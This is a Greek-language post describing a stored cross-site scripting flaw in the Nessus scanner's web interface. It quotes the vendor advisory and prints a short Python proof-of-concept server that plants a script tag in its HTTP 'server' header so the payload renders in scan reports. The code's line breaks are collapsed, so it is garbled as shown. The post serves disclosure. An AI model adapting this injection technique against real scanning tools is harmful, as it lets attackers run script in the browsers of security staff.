Nessus XSS vulnerability
Όλοι μας είμαστε λίγο πολύ εξοικειωμένοι με το Nessus.
Αυτοί που δεν γνωρίζουν, το Nessus Vulnerability Scanner της
Tenable Network Security είναι μία εφαρμογή που δουλειά της
είναι να ελέγχει το δίκτυο και να αναφέρει το πόσο ευάλωτο
είναι το κάθε σύστημα στις επιθέσεις, εμφανίζοντας μία πληθώρα
από πληροφορίες όπως το ποιες πόρτες είναι ανοιχτές και διάφορα άλλα.
The Situation
Το Nessus έχει ένα server που τρέχει και στον οποίο δίνουμε τα αιτήματα
μας για τις αναζητήσεις μας. Για να το εκτελέσουμε μπορούμε να
χρησιμοποιήσουμε είτε την client εφαρμογή ή το WEB UI.
Αρχές του καλοκαιριού ο φίλτατος Frank Lycops από το The Security Factory,
βρήκε ότι το web-based user interface ήταν ευάλωτο σε επίθεση XSS (Cross Site Scripting).
Συγκεκριμένα όπως αναφέρει η ίδια η Nessus τέλος Αυγούστου:
The Nessus scanner's web-based user interface (Web UI) was vulnerable to
a stored cross-site scripting (XSS) attack. The issue was due to a security
control being briefly removed due to a regression error. During this 48
hour window, one new build of the Web UI was released leading to the ability
to inject arbitrary script code. This could be done by setting up a malicious
web server that returned a crafted host header containing JavaScript.
When Nessus scanned the web server, the input would be passed as-is and
render when viewing a report.
Proof Of Concept
#!/usr/bin/env python
import sys
from twisted.web import server, resourcefrom twisted.internet import reactorfrom twisted.python import logclass Site(server.Site):def getResourceFor(self, request):request.setHeader('server', '<script>alert(1)</script>SomeServer')return server.Site.getResourceFor(self, request)class HelloResource(resource.Resource):isLeaf = TruenumberRequests = 0def render_GET(self, request):self.numberRequests += 1request.setHeader("content-type", "text/plain")return "theSecurityFactory Nessus POC"log.startLogging(sys.stderr)reactor.listenTCP(8080, Site(HelloResource()))reactor.run()
0 Comments
Recommended Comments
There are no comments to display.